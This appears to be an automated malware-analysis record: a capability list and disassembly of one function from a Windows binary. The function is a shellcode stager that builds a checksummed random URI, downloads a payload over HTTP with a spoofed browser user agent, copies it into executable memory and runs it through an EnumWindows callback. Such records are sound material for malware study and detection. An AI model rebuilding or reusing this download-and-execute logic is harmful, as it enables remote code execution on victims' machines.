Function at 0x407d10
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
lea r14, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
push rdi
push rsi
mov r12, r8
push rbx
mov r13d, r9d
movabs rbx, 0x8421084210842109
and rsp, 0xfffffffffffffff0
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
xor ecx, ecx
lea rdi, [rsp + 0x50]
mov qword [rbp + 0x18], rdx
mov word [rsp + 0x6c], cx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
lea rsi, [rdi + 0x1e]
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x68], 0
mov byte [rsp + 0x6e], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov dword [rsp + 0x48], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call sub.msvcrt.dll_srand
mov r15, rdi
call sub.msvcrt.dll_rand
movsxd rcx, eax
add r15, 1
mov rdx, rcx
shr rdx, 1
mov rax, rdx
mul rbx
shr rdx, 4
mov rax, rdx
shl rax, 5
sub rax, rdx
add rax, rax
sub rcx, rax
movzx eax, byte [r14 + rcx]
mov byte [r15 - 1], al
cmp rsi, r15
jne 0x407dc3
mov byte [rsp + 0x6e], 0
mov rcx, rdi
mov edx, dword [rcx]
add rcx, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x407e05
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [rcx + 2]
cmove rcx, rdx
mov edx, eax
add dl, al
sbb rcx, 3
xor edx, edx
xor r8d, r8d
sub rcx, rdi
jmp 0x407e4e
movsx eax, byte [rsp + rax + 0x50]
add edx, 1
add r8d, eax
mov eax, edx
cmp rax, rcx
jb 0x407e43
cmp r8b, 0x5c
jne 0x407dc0
lea rax, [section..rdata]
cmp r12, rax
je 0x408039
lea rbx, [rsp + 0x70]
mov rdx, r12
mov byte [rsp + 0x70], 0x2f
lea rcx, [rbx + 1]
call sub.msvcrt.dll_strcpy
mov rdx, rbx
mov ecx, dword [rdx]
add rdx, 4
lea eax, [rcx - 0x1010101]
not ecx
and eax, ecx
and eax, 0x80808080
je 0x407e88
mov ecx, eax
shr ecx, 0x10
test eax, 0x8080
cmove eax, ecx
lea rcx, [rdx + 2]
mov esi, eax
cmove rdx, rcx
add sil, al
mov eax, 0x2f
sbb rdx, 3
mov word [rdx], ax
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_strcat
test r13b, r13b
mov edx, 0x84a03300
mov eax, 0x84200200
cmovne eax, edx
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov edi, eax
lea rcx, str.Mozilla_4.0__compatible__MSIE_6.1__Windows_NT_
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
mov rsi, rax
je 0x40804d
mov rcx, qword [rbp + 0x18]
call sub.msvcrt.dll_atoi
xor r9d, r9d
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
movzx r8d, ax
mov rdx, qword [rbp + 0x10]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetConnectA]
test rax, rax
je 0x40808b
xor r9d, r9d
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, rbx
lea rdx, [0x0040a073]
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
test rax, rax
mov rsi, rax
je 0x4080d4
test r13b, r13b
jne 0x4080ae
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
mov ebx, eax
je 0x40806d
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x400000
xor ecx, ecx
xor ebx, ebx
lea r13, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [rsp + 0x4c], 0xffffffff
mov rdi, rax
mov r12, qword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x407ff8
test edx, edx
je 0x408016
mov edx, ebx
mov r9, r13
mov r8d, 0x1000
add rdx, rdi
mov rcx, rsi
call r12
mov edx, dword [rsp + 0x4c]
add ebx, edx
test eax, eax
jne 0x407ff4
mov ebx, 1
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_EnumWindows]
lea rsp, [rbp - 0x38]
mov eax, ebx
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edx, 0x2f
lea rbx, [rsp + 0x70]
mov word [rsp + 0x70], dx
jmp 0x407ec5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.InternetOpen__
lea rcx, str._nError:__s_nGetLastError:_d
mov r8d, eax
xor ebx, ebx
call fcn.00408130
jmp 0x408026
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.HttpSendRequest__
lea rcx, str._nError:__s_nGetLastError:_d
mov r8d, eax
call fcn.00408130
jmp 0x408026
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.InternetConnect__
lea rcx, str._nError:__s_nGetLastError:_d
mov r8d, eax
xor ebx, ebx
call fcn.00408130
jmp 0x408026
mov dword [rsp + 0x48], 0x3380
mov r9d, 4
lea r8, [rsp + 0x48]
mov edx, 0x1f
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
jmp 0x407f9d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.HttpOpenRequest__
lea rcx, str._nError:__s_nGetLastError:_d
mov r8d, eax
xor ebx, ebx
call fcn.00408130
jmp 0x408026